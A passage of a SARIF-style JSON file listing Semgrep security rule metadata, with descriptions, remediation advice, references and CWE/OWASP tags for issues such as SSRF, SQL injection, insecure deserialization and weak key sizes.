Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/rust.hyper.ssrf.reqwest-taint.reqwest-taint","id":"rust.hyper.ssrf.reqwest-taint.reqwest-taint","name":"rust.hyper.ssrf.reqwest-taint.reqwest-taint","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","HIGH CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: rust.hyper.ssrf.reqwest-taint.reqwest-taint"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"`$KEY_FUNCTION` is using a key size of only $KEY_BITS bits. This is less than the recommended key size of 2048 bits."},"help":{"markdown":"`$KEY_FUNCTION` is using a key size of only $KEY_BITS bits. This is less than the recommended key size of 2048 bits.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/cpp.lang.security.crypto.key.small-key-size.small-key-size)\n - [https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-131Ar2.pdf](https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-131Ar2.pdf)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"`$KEY_FUNCTION` is using a key size of only $KEY_BITS bits. This is less than the recommended key size of 2048 bits."},"helpUri":"https://semgrep.dev/r/cpp.lang.security.crypto.key.small-key-size.small-key-size","id":"cpp.lang.security.crypto.key.small-key-size.small-key-size","name":"cpp.lang.security.crypto.key.small-key-size.small-key-size","properties":{"precision":"very-high","tags":["CWE-326: Inadequate Encryption Strength","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: cpp.lang.security.crypto.key.small-key-size.small-key-size"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"This call to `$MEMSET` may be optimized out by the compiler because the buffer is not accessed later in the function. This could be an issue if `$BUF` contains sensitive data, such as passwords or cryptographic keys. Applications should use functions such as `memset_s` or `memset_explicit` to ensure that the sensitive data is cleared."},"help":{"markdown":"This call to `$MEMSET` may be optimized out by the compiler because the buffer is not accessed later in the function. This could be an issue if `$BUF` contains sensitive data, such as passwords or cryptographic keys. Applications should use functions such as `memset_s` or `memset_explicit` to ensure that the sensitive data is cleared.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/cpp.lang.correctness.memset-removal.memset-removal)\n - [https://wiki.sei.cmu.edu/confluence/display/c/MSC06-C.+Beware+of+compiler+optimizations](https://wiki.sei.cmu.edu/confluence/display/c/MSC06-C.+Beware+of+compiler+optimizations)\n","text":"This call to `$MEMSET` may be optimized out by the compiler because the buffer is not accessed later in the function. This could be an issue if `$BUF` contains sensitive data, such as passwords or cryptographic keys. Applications should use functions such as `memset_s` or `memset_explicit` to ensure that the sensitive data is cleared."},"helpUri":"https://semgrep.dev/r/cpp.lang.correctness.memset-removal.memset-removal","id":"cpp.lang.correctness.memset-removal.memset-removal","name":"cpp.lang.correctness.memset-removal.memset-removal","properties":{"precision":"very-high","tags":["CWE-14: Compiler Removal of Code to Clear Buffers","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: cpp.lang.correctness.memset-removal.memset-removal"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"File traversal when extracting zip archive"},"help":{"markdown":"File traversal when extracting zip archive\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.lang.security.zip.path-traversal-inside-zip-extraction)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n","text":"File traversal when extracting zip archive"},"helpUri":"https://semgrep.dev/r/go.lang.security.zip.path-traversal-inside-zip-extraction","id":"go.lang.security.zip.path-traversal-inside-zip-extraction","name":"go.lang.security.zip.path-traversal-inside-zip-extraction","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","LOW CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: go.lang.security.zip.path-traversal-inside-zip-extraction"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application builds a URL using user-controlled input which can lead to an open redirect vulnerability. An attacker can manipulate the URL and redirect users to an arbitrary domain. Open redirect vulnerabilities can lead to issues such as Cross-site scripting (XSS) or redirecting to a malicious domain for activities such as phishing to capture users' credentials. To prevent this vulnerability perform strict input validation of the domain against an allowlist of approved domains. Notify a user in your application that they are leaving the website. Display a domain where they are redirected to the user. A user can then either accept or deny the redirect to an untrusted site."},"help":{"markdown":"The application builds a URL using user-controlled input which can lead to an open redirect vulnerability. An attacker can manipulate the URL and redirect users to an arbitrary domain. Open redirect vulnerabilities can lead to issues such as Cross-site scripting (XSS) or redirecting to a malicious domain for activities such as phishing to capture users' credentials. To prevent this vulnerability perform strict input validation of the domain against an allowlist of approved domains. Notify a user in your application that they are leaving the website. Display a domain where they are redirected to the user. A user can then either accept or deny the redirect to an untrusted site.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.web.tainted-redirect-django.tainted-redirect-django)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html)\n - [https://docs.djangoproject.com/en/5.0/ref/request-response/#django.http.HttpResponseRedirect](https://docs.djangoproject.com/en/5.0/ref/request-response/#django.http.HttpResponseRedirect)\n - [https://docs.djangoproject.com/en/5.0/ref/urlresolvers/#reverse](https://docs.djangoproject.com/en/5.0/ref/urlresolvers/#reverse)\n - [https://docs.djangoproject.com/en/5.0/topics/http/shortcuts/#redirect](https://docs.djangoproject.com/en/5.0/topics/http/shortcuts/#redirect)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n","text":"The application builds a URL using user-controlled input which can lead to an open redirect vulnerability. An attacker can manipulate the URL and redirect users to an arbitrary domain. Open redirect vulnerabilities can lead to issues such as Cross-site scripting (XSS) or redirecting to a malicious domain for activities such as phishing to capture users' credentials. To prevent this vulnerability perform strict input validation of the domain against an allowlist of approved domains. Notify a user in your application that they are leaving the website. Display a domain where they are redirected to the user. A user can then either accept or deny the redirect to an untrusted site."},"helpUri":"https://semgrep.dev/r/python.django.web.tainted-redirect-django.tainted-redirect-django","id":"python.django.web.tainted-redirect-django.tainted-redirect-django","name":"python.django.web.tainted-redirect-django.tainted-redirect-django","properties":{"precision":"very-high","tags":["CWE-601: URL Redirection to Untrusted Site ('Open Redirect')","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.web.tainted-redirect-django.tainted-redirect-django"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"User data flows into a script engine or another means of dynamic code evaluation. This is unsafe and could lead to code injection or arbitrary code execution as a result. Avoid inputting user data into code execution or use proper sandboxing if user code evaluation is necessary."},"help":{"markdown":"User data flows into a script engine or another means of dynamic code evaluation. This is unsafe and could lead to code injection or arbitrary code execution as a result. Avoid inputting user data into code execution or use proper sandboxing if user code evaluation is necessary.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.spring.security.spring-tainted-code-execution.spring-tainted-code-execution)\n - [https://0xn3va.gitbook.io/cheat-sheets/framework/spring/spel-injection](https://0xn3va.gitbook.io/cheat-sheets/framework/spring/spel-injection)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"User data flows into a script engine or another means of dynamic code evaluation. This is unsafe and could lead to code injection or arbitrary code execution as a result. Avoid inputting user data into code execution or use proper sandboxing if user code evaluation is necessary."},"helpUri":"https://semgrep.dev/r/java.spring.security.spring-tainted-code-execution.spring-tainted-code-execution","id":"java.spring.security.spring-tainted-code-execution.spring-tainted-code-execution","name":"java.spring.security.spring-tainted-code-execution.spring-tainted-code-execution","properties":{"precision":"very-high","tags":["CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.spring.security.spring-tainted-code-execution.spring-tainted-code-execution"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The TokenValidationParameters.$LIFETIME is set to $FALSE, this means the JWT tokens lifetime is not validated. This can lead to an JWT token being used after it has expired, which has security implications. It is recommended to validate the JWT lifetime to ensure only valid tokens are used."},"help":{"markdown":"The TokenValidationParameters.$LIFETIME is set to $FALSE, this means the JWT tokens lifetime is not validated. This can lead to an JWT token being used after it has expired, which has security implications. It is recommended to validate the JWT lifetime to ensure only valid tokens are used.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.lang.security.ad.jwt-tokenvalidationparameters-no-expiry-validation.jwt-tokenvalidationparameters-no-expiry-validation)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures/](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures/)\n - [https://cwe.mitre.org/data/definitions/613.html](https://cwe.mitre.org/data/definitions/613.html)\n - [https://docs.microsoft.com/en-us/dotnet/api/microsoft.identitymodel.tokens.tokenvalidationparameters?view=azure-dotnet](https://docs.microsoft.com/en-us/dotnet/api/microsoft.identitymodel.tokens.tokenvalidationparameters?view=azure-dotnet)\n","text":"The TokenValidationParameters.$LIFETIME is set to $FALSE, this means the JWT tokens lifetime is not validated. This can lead to an JWT token being used after it has expired, which has security implications. It is recommended to validate the JWT lifetime to ensure only valid tokens are used."},"helpUri":"https://semgrep.dev/r/csharp.lang.security.ad.jwt-tokenvalidationparameters-no-expiry-validation.jwt-tokenvalidationparameters-no-expiry-validation","id":"csharp.lang.security.ad.jwt-tokenvalidationparameters-no-expiry-validation.jwt-tokenvalidationparameters-no-expiry-validation","name":"csharp.lang.security.ad.jwt-tokenvalidationparameters-no-expiry-validation.jwt-tokenvalidationparameters-no-expiry-validation","properties":{"precision":"very-high","tags":["CWE-613: Insufficient Session Expiration","HIGH CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.lang.security.ad.jwt-tokenvalidationparameters-no-expiry-validation.jwt-tokenvalidationparameters-no-expiry-validation"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Peewee provides a query builder which should allow to create the SQL query in a safe way. If you cannot use it, make sure to check the value exists in an allowlist, such that no user-controllable value can influence the eventual SQL query."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Peewee provides a query builder which should allow to create the SQL query in a safe way. If you cannot use it, make sure to check the value exists in an allowlist, such that no user-controllable value can influence the eventual SQL query.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.db.peewee-fastapi.peewee-fastapi)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Peewee provides a query builder which should allow to create the SQL query in a safe way. If you cannot use it, make sure to check the value exists in an allowlist, such that no user-controllable value can influence the eventual SQL query."},"helpUri":"https://semgrep.dev/r/python.fastapi.db.peewee-fastapi.peewee-fastapi","id":"python.fastapi.db.peewee-fastapi.peewee-fastapi","name":"python.fastapi.db.peewee-fastapi.peewee-fastapi","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.db.peewee-fastapi.peewee-fastapi"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Functions reliant on pickle can result in arbitrary code execution. Consider using fickling or switching to a safer serialization method"},"help":{"markdown":"Functions reliant on pickle can result in arbitrary code execution. Consider using fickling or switching to a safer serialization method\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/trailofbits.python.pickles-in-pandas.pickles-in-pandas)\n - [https://blog.trailofbits.com/2021/03/15/never-a-dill-moment-exploiting-machine-learning-pickle-files/](https://blog.trailofbits.com/2021/03/15/never-a-dill-moment-exploiting-machine-learning-pickle-files/)\n","text":"Functions reliant on pickle can result in arbitrary code execution. Consider using fickling or switching to a safer serialization method"},"helpUri":"https://semgrep.dev/r/trailofbits.python.pickles-in-pandas.pickles-in-pandas","id":"trailofbits.python.pickles-in-pandas.pickles-in-pandas","name":"trailofbits.python.pickles-in-pandas.pickles-in-pandas","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: trailofbits.python.pickles-in-pandas.pickles-in-pandas"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Webviews were observed that do not disable access to application files. If the WebView does not require loading content from the local filesystem of the application, this setting should be disabled."},"help":{"markdown":"Webviews were observed that do not disable access to application files. If the WebView does not require loading content from the local filesystem of the application, this setting should be disabled.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.webview.webview-universal-fileaccess.swift-webview-config-allows-universal-file-access)\n - [https://mas.owasp.org/MASVS/controls/MASVS-PLATFORM-2/](https://mas.owasp.org/MASVS/controls/MASVS-PLATFORM-2/)\n","text":"Webviews were observed that do not disable access to application files. If the WebView does not require loading content from the local filesystem of the application, this setting should be disabled."},"helpUri":"https://semgrep.dev/r/swift.webview.webview-universal-fileaccess.swift-webview-config-allows-universal-file-access","id":"swift.webview.webview-universal-fileaccess.swift-webview-config-allows-universal-file-access","name":"swift.webview.webview-universal-fileaccess.swift-webview-config-allows-universal-file-access","properties":{"precision":"very-high","tags":["CWE-272: Least Privilege Violation","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: swift.webview.webview-universal-fileaccess.swift-webview-config-allows-universal-file-access"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Found user-controllable input to Ruby reflection functionality. This allows a remote user to influence runtime behavior, up to and including arbitrary remote code execution. Do not provide user-controllable input to reflection functionality. Do not call symbol conversion on user-controllable input."},"help":{"markdown":"Found user-controllable input to Ruby reflection functionality. This allows a remote user to influence runtime behavior, up to and including arbitrary remote code execution. Do not provide user-controllable input to reflection functionality. Do not call symbol conversion on user-controllable input.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.rails.security.brakeman.check-unsafe-reflection.check-unsafe-reflection)\n - [https://github.com/presidentbeef/brakeman/blob/main/test/apps/rails2/app/controllers/application_controller.rb](https://github.com/presidentbeef/brakeman/blob/main/test/apps/rails2/app/controllers/application_controller.rb)\n","text":"Found user-controllable input to Ruby reflection functionality. This allows a remote user to influence runtime behavior, up to and including arbitrary remote code execution. Do not provide user-controllable input to reflection functionality. Do not call symbol conversion on user-controllable input."},"helpUri":"https://semgrep.dev/r/ruby.rails.security.brakeman.check-unsafe-reflection.check-unsafe-reflection","id":"ruby.rails.security.brakeman.check-unsafe-reflection.check-unsafe-reflection","name":"ruby.rails.security.brakeman.check-unsafe-reflection.check-unsafe-reflection","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.rails.security.brakeman.check-unsafe-reflection.check-unsafe-reflection"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The `redirect()` method does not check its destination in any way. If you redirect to a URL provided by end-users, your application may be open to the unvalidated redirects security vulnerability. Consider using literal values or an allowlist to validate URLs."},"help":{"markdown":"The `redirect()` method does not check its destination in any way. If you redirect to a URL provided by end-users, your application may be open to the unvalidated redirects security vulnerability. Consider using literal values or an allowlist to validate URLs.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.symfony.security.audit.symfony-non-literal-redirect.symfony-non-literal-redirect)\n - [https://symfony.com/doc/current/controller.html#redirecting](https://symfony.com/doc/current/controller.html#redirecting)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html)\n","text":"The `redirect()` method does not check its destination in any way. If you redirect to a URL provided by end-users, your application may be open to the unvalidated redirects security vulnerability. Consider using literal values or an allowlist to validate URLs."},"helpUri":"https://semgrep.dev/r/php.symfony.security.audit.symfony-non-literal-redirect.symfony-non-literal-redirect","id":"php.symfony.security.audit.symfony-non-literal-redirect.symfony-non-literal-redirect","name":"php.symfony.security.audit.symfony-non-literal-redirect.symfony-non-literal-redirect","properties":{"precision":"very-high","tags":["CWE-601: URL Redirection to Untrusted Site ('Open Redirect')","LOW CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: php.symfony.security.audit.symfony-non-literal-redirect.symfony-non-literal-redirect"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"A prompt is created and user-controlled data reaches that prompt. This can lead to prompt injection. Make sure the user inputs are properly segmented from the system's in your prompts."},"help":{"markdown":"A prompt is created and user-controlled data reaches that prompt. This can lead to prompt injection. Make sure the user inputs are properly segmented from the system's in your prompts.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.ai.prompt-injection-flask.prompt-injection-flask)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"A prompt is created and user-controlled data reaches that prompt. This can lead to prompt injection. Make sure the user inputs are properly segmented from the system's in your prompts."},"helpUri":"https://semgrep.dev/r/python.flask.ai.prompt-injection-flask.prompt-injection-flask","id":"python.flask.ai.prompt-injection-flask.prompt-injection-flask","name":"python.flask.ai.prompt-injection-flask.prompt-injection-flask","properties":{"precision":"very-high","tags":["CWE-75: Failure to Sanitize Special Elements into a Different Plane (Special Element Injection)","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.ai.prompt-injection-flask.prompt-injection-flask"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"CORS rule on bucket permits any origin"},"help":{"markdown":"CORS rule on bucket permits any origin\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.lang.security.s3-cors-all-origins.all-origins-allowed)\n - [https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/s3_bucket#using-cors](https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/s3_bucket#using-cors)\n","text":"CORS rule on bucket permits any origin"},"helpUri":"https://semgrep.dev/r/terraform.lang.security.s3-cors-all-origins.all-origins-allowed","id":"terraform.lang.security.s3-cors-all-origins.all-origins-allowed","name":"terraform.lang.security.s3-cors-all-origins.all-origins-allowed","properties":{"precision":"very-high","tags":["CWE-942: Permissive Cross-domain Policy with Untrusted Domains","LOW CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.lang.security.s3-cors-all-origins.all-origins-allowed"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"QuerySet.extra' does not provide safeguards against SQL injection and requires very careful use. SQL injection can lead to critical data being stolen by attackers. Instead of using '.extra', use the Django ORM and parameterized queries such as `People.objects.get(name='Bob')`."},"help":{"markdown":"QuerySet.extra' does not provide safeguards against SQL injection and requires very careful use. SQL injection can lead to critical data being stolen by attackers. Instead of using '.extra', use the Django ORM and parameterized queries such as `People.objects.get(name='Bob')`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.audit.query-set-extra.avoid-query-set-extra)\n - [https://docs.djangoproject.com/en/3.0/ref/models/querysets/#django.db.models.query.QuerySet.extra](https://docs.djangoproject.com/en/3.0/ref/models/querysets/#django.db.models.query.QuerySet.extra)\n - [https://semgrep.dev/blog/2020/preventing-sql-injection-a-django-authors-perspective/](https://semgrep.dev/blog/2020/preventing-sql-injection-a-django-authors-perspective/)\n","text":"QuerySet.extra' does not provide safeguards against SQL injection and requires very careful use. SQL injection can lead to critical data being stolen by attackers. Instead of using '.extra', use the Django ORM and parameterized queries such as `People.objects.get(name='Bob')`."},"helpUri":"https://semgrep.dev/r/python.django.security.audit.query-set-extra.avoid-query-set-extra","id":"python.django.security.audit.query-set-extra.avoid-query-set-extra","name":"python.django.security.audit.query-set-extra.avoid-query-set-extra","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","LOW CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.audit.query-set-extra.avoid-query-set-extra"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected SQL statement that is tainted by `$EVENT` object. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use parameterized statements like so: `connection.query('SELECT $1 from table', [userinput])`"},"help":{"markdown":"Detected SQL statement that is tainted by `$EVENT` object. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use parameterized statements like so: `connection.query('SELECT $1 from table', [userinput])`\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.aws-lambda.security.mysql-sqli.mysql-sqli)\n - [https://www.npmjs.com/package/mysql2](https://www.npmjs.com/package/mysql2)\n","text":"Detected SQL statement that is tainted by `$EVENT` object. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use parameterized statements like so: `connection.query('SELECT $1 from table', [userinput])`"},"helpUri":"https://semgrep.dev/r/javascript.aws-lambda.security.mysql-sqli.mysql-sqli","id":"javascript.aws-lambda.security.mysql-sqli.mysql-sqli","name":"javascript.aws-lambda.security.mysql-sqli.mysql-sqli","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.aws-lambda.security.mysql-sqli.mysql-sqli"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The package `net/http/cgi` is on the import blocklist.  The package is vulnerable to httpoxy attacks (CVE-2015-5386). It is recommended to use `net/http` or a web framework to build a web application instead."},"help":{"markdown":"The package `net/http/cgi` is on the import blocklist.  The package is vulnerable to httpoxy attacks (CVE-2015-5386). It is recommended to use `net/http` or a web framework to build a web application instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.lang.security.audit.crypto.bad_imports.insecure-module-used)\n - [https://godoc.org/golang.org/x/crypto/sha3](https://godoc.org/golang.org/x/crypto/sha3)\n","text":"The package `net/http/cgi` is on the import blocklist.  The package is vulnerable to httpoxy attacks (CVE-2015-5386). It is recommended to use `net/http` or a web framework to build a web application instead."},"helpUri":"https://semgrep.dev/r/go.lang.security.audit.crypto.bad_imports.insecure-module-used","id":"go.lang.security.audit.crypto.bad_imports.insecure-module-used","name":"go.lang.security.audit.crypto.bad_imports.insecure-module-used","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: go.lang.security.audit.crypto.bad_imports.insecure-module-used"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected the use of eval(). eval() can be dangerous if used to evaluate dynamic content. If this content can be input from outside the program, this may be a code injection vulnerability. Ensure evaluated content is not definable by external sources."},"help":{"markdown":"Detected the use of eval(). eval() can be dangerous if used to evaluate dynamic content. If this content can be input from outside the program, this may be a code injection vulnerability. Ensure evaluated content is not definable by external sources.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.browser.security.eval-detected.eval-detected)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Detected the use of eval(). eval() can be dangerous if used to evaluate dynamic content. If this content can be input from outside the program, this may be a code injection vulnerability. Ensure evaluated content is not definable by external sources."},"helpUri":"https://semgrep.dev/r/javascript.browser.security.eval-detected.eval-detected","id":"javascript.browser.security.eval-detected.eval-detected","name":"javascript.browser.security.eval-detected.eval-detected","properties":{"precision":"very-high","tags":["CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.browser.security.eval-detected.eval-detected"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) Even for a data-only serialization format such as JSON, a malicious string may cause the decoder to consume considerable CPU and memory resources. Limiting the size of data to be parsed is recommended."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) Even for a data-only serialization format such as JSON, a malicious string may cause the decoder to consume considerable CPU and memory resources. Limiting the size of data to be parsed is recommended.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.deserialization.tainted-json.tainted-json)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html](https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html)\n - [https://docs.python.org/3/library/json.html](https://docs.python.org/3/library/json.html)\n - [https://docs.python.org/3/library/pickle.html](https://docs.python.org/3/library/pickle.html)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) Even for a data-only serialization format such as JSON, a malicious string may cause the decoder to consume considerable CPU and memory resources. Limiting the size of data to be parsed is recommended."},"helpUri":"https://semgrep.dev/r/python.lang.deserialization.tainted-json.tainted-json","id":"python.lang.deserialization.tainted-json.tainted-json","name":"python.lang.deserialization.tainted-json.tainted-json","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.deserialization.tainted-json.tainted-json"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Using less than 128 bits for Blowfish is considered insecure. Use 128 bits or more, or switch to use AES instead."},"help":{"markdown":"Using less than 128 bits for Blowfish is considered insecure. Use 128 bits or more, or switch to use AES instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.blowfish-insufficient-key-size.blowfish-insufficient-key-size)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Using less than 128 bits for Blowfish is considered insecure. Use 128 bits or more, or switch to use AES instead."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.blowfish-insufficient-key-size.blowfish-insufficient-key-size","id":"java.lang.security.audit.blowfish-insufficient-key-size.blowfish-insufficient-key-size","name":"java.lang.security.audit.blowfish-insufficient-key-size.blowfish-insufficient-key-size","properties":{"precision":"very-high","tags":["CWE-326: Inadequate Encryption Strength","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic 